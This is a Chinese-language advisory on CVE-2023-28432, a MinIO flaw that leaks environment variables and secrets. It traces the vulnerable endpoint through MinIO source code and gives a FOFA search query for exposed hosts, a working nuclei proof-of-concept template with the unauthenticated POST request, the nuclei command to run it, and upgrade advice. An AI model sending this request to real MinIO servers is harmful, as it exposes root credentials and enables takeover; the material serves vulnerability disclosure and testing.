​​​MinIO存在信息泄露漏洞

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一、漏洞描述

MinIO存在信息泄露漏洞，在集群部署的MinIO中，未经身份认证的远程攻击者通过发送特殊HTTP请求即可获取所有环境变量，其中包括MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD，造成敏感信息泄露，最终可能导致攻击者以管理员身份登录MinIO。

二、影响版本

RELEASE.2019-12-17T23-16-33Z <= MinIO < RELEASE.2023-03-20T20-16-18Z

三、危害描述

利用该漏洞可以获取所有环境变量，其中包括MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD，造成敏感信息泄露，最终可能导致攻击者以管理员身份登录MinIO。

四、漏洞信息

https://github.com/minio/minio/blob/master/cmd/bootstrap-peer-server.go#L197
// Verify - fetches system server config.func (client *bootstrapRESTClient) Verify(ctx context.Context, srcCfg ServerSystemConfig) (err error) {    if newObjectLayerFn() != nil {        return nil    }    respBody, err := client.callWithContext(ctx, bootstrapRESTMethodVerify, nil, nil, -1)    if err != nil {        return    }    defer xhttp.DrainBody(respBody)    recvCfg := ServerSystemConfig{}    if err = json.NewDecoder(respBody).Decode(&recvCfg); err != nil {        return err    }    return srcCfg.Diff(recvCfg)}
# https://github.com/minio/minio/blob/master/cmd/bootstrap-peer-server.go#L54
const (    bootstrapRESTVersion       = "v1"    bootstrapRESTVersionPrefix = SlashSeparator + bootstrapRESTVersion    bootstrapRESTPrefix        = minioReservedBucketPath + "/bootstrap"    bootstrapRESTPath          = bootstrapRESTPrefix + bootstrapRESTVersionPrefix)
const (    bootstrapRESTMethodHealth = "/health"    bootstrapRESTMethodVerify = "/verify")
// To abstract a node over network.type bootstrapRESTServer struct{}
// ServerSystemConfig - captures information about server configuration.type ServerSystemConfig struct {    MinioEndpoints EndpointServerPools    MinioEnv       map[string]string}
# https://github.com/minio/minio/blob/master/cmd/bootstrap-peer-server.go#L149
func (b *bootstrapRESTServer) VerifyHandler(w http.ResponseWriter, r *http.Request) {    ctx := newContext(r, w, "VerifyHandler")
    if err := storageServerRequestValidate(r); err != nil {        b.writeErrorResponse(w, err)        return    }
    cfg := getServerSystemCfg()    logger.LogIf(ctx, json.NewEncoder(w).Encode(&cfg))}
// registerBootstrapRESTHandlers - register bootstrap rest router.func registerBootstrapRESTHandlers(router *mux.Router) {    server := &bootstrapRESTServer{}    subrouter := router.PathPrefix(bootstrapRESTPrefix).Subrouter()
    subrouter.Methods(http.MethodPost).Path(bootstrapRESTVersionPrefix + bootstrapRESTMethodHealth).HandlerFunc(        httpTraceHdrs(server.HealthHandler))
    subrouter.Methods(http.MethodPost).Path(bootstrapRESTVersionPrefix + bootstrapRESTMethodVerify).HandlerFunc(        httpTraceHdrs(server.VerifyHandler))}
# https://github.com/minio/minio/blob/master/cmd/object-api-utils.go#L210
// SlashSeparator - slash separator.const SlashSeparator = "/"
https://github.com/minio/minio/blob/master/cmd/generic-handlers.go#L138
const (    minioReservedBucket              = "minio"    minioReservedBucketPath          = SlashSeparator + minioReservedBucket    minioReservedBucketPathWithSlash = SlashSeparator + minioReservedBucket + SlashSeparator
SlashSeparator = "/"minioReservedBucketPath = SlashSeparator + minioReservedBucket ==> /minio
bootstrapRESTPrefix        = minioReservedBucketPath + "/bootstrap" ==> /minio/bootstrap/
bootstrapRESTVersion       = "v1"bootstrapRESTVersionPrefix = SlashSeparator + bootstrapRESTVersion ==> /v1bootstrapRESTMethodVerify = "/verify"
subrouter.Methods(http.MethodPost).Path(bootstrapRESTVersionPrefix + bootstrapRESTMethodVerify) ==> /v1/verify/
final path:/minio/bootstrap/v1/verify/

FOFA语句

```

banner="MinIO" || header="MinIO" || title="MinIO Browser"

```

### EXP/POC

```

id: CVE-2023-28432

info:

 name: Minio post policy request security bypass

 author: Mr-xn

 severity: high

 description: Minio is a Multi-Cloud Object Storage framework. In a cluster deployment starting with RELEASE.2019-12-17T23-16-33Z and prior to RELEASE.2023-03-20T20-16-18Z, MinIO returns all environment variables, including MINIO_SECRET_KEY and MINIO_ROOT_PASSWORD, resulting in information disclosure. All users of distributed deployment are impacted. All users are advised to upgrade to RELEASE.2023-03-20T20-16-18Z.

 reference:

   - https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q

   - https://github.com/minio/minio/pull/16853/files

   - https://github.com/golang/vulndb/issues/1667

   - https://github.com/CVEProject/cvelist/blob/master/2023/28xxx/CVE-2023-28432.json

 classification:

   cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

   cvss-score: 7.5

   cve-id: CVE-2023-28432

   cwe-id: CWE-200

 tags: cve,cve2023,

requests:

 - raw:

     - |+

       POST /minio/bootstrap/v1/verify HTTP/1.1

       Host: {{Hostname}}

       Content-Type: application/x-www-form-urlencoded

   matchers-condition: and

   matchers:

     - type: word

       part: body

       words:

         - '"MinioEndpoints"'

     - type: word

       part: header

       words:

         - 'Content-Type: text/plain'

     - type: status

       status:

         - 200

```

### nuclei验证

```

nuclei -v -t /path/to/CVE-2023-28432.yaml -u http://target.com:port

```



### 处置建议

目前官方已发布安全修复版本，受影响用户可以升级到RELEASE.2023-03-20T20-16-18Z及以上版本。

``` bash

https://github.com/minio/minio/releases/tag/RELEASE.2023-03-20T20-16-18Z

```

### 参考资料

``` bash

[1]https://github.com/minio/minio/releases/tag/RELEASE.2023-03-20T20-16-18Z

[2]https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q

[3]https://github.com/Mr-xn/CVE-2023-28432